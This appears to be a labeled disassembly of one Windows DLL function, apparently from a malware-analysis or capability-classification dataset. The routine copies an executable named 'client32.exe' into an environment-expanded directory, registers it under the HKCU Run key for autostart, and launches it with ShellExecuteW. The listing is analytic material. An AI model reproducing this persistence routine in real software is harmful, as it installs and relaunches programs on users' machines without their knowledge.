Function at 0x10001170
Capabilities:
Create directory
Create process on windows
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [0x10013038]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push dword [0x1001381c]
call ebx
mov esi, eax
add eax, eax
mov ecx, 0xffffffff
cmovae ecx, eax
push ecx
call fcn.10001690
add esp, 4
mov edi, esi
push esi
mov dword [ebp - 0x1c], eax
push eax
push dword [0x1001381c]
call ebx
test eax, eax
je 0x10001351
push 0
push dword [ebp - 0x1c]
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
cmp eax, 0xb7
je 0x100011dd
test eax, eax
jne 0x10001351
add edi, 0x30
add edi, edi
mov eax, 0xffffffff
cmovb edi, eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x18], 0
mov edi, 0xffffffcc
jmp 0x1000121b
push ebx
call fcn.10001699
add esp, 4
push esi
call fcn.10001699
add esp, 4
add edi, 4
je 0x100012d4
push dword [ebp - 0x20]
call fcn.10001690
add esp, 4
mov ebx, eax
push dword [0x10013818]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x30
add eax, eax
mov ecx, 0xffffffff
cmovb eax, ecx
push eax
call fcn.10001690
add esp, 4
mov esi, eax
push dword [edi + 0x10012034]
push dword [ebp - 0x1c]
push str._s_s
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push dword [edi + 0x10012034]
push dword [0x10013818]
push str._s__s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push esi
call fcn.100013d0
test al, al
je 0x10001200
push str.client32.exe
push dword [edi + 0x10012034]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x10001200
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
add eax, eax
mov ecx, 0xffffffff
cmovb eax, ecx
push eax
call fcn.10001690
add esp, 4
push ebx
mov dword [ebp - 0x18], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x10001200
mov esi, dword [ebp - 0x18]
test esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
je 0x10001351
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10001334
cmp dword [ebp - 0x14], 0
je 0x10001334
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push 0
push dword [0x10013820]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 5
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call fcn.10001699
add esp, 4
cmp dword [0x10013824], 0
je 0x100013af
push 0
push 0
push dword [0x10013828]
call ebx
mov edi, eax
add eax, eax
mov ecx, 0xffffffff
cmovae ecx, eax
push ecx
call fcn.10001690
add esp, 4
mov esi, eax
push edi
push eax
push dword [0x10013828]
call ebx
test eax, eax
je 0x100013af
push esi
push dword [0x10013824]
call fcn.100013d0
test al, al
je 0x100013af
push 5
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000169e
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret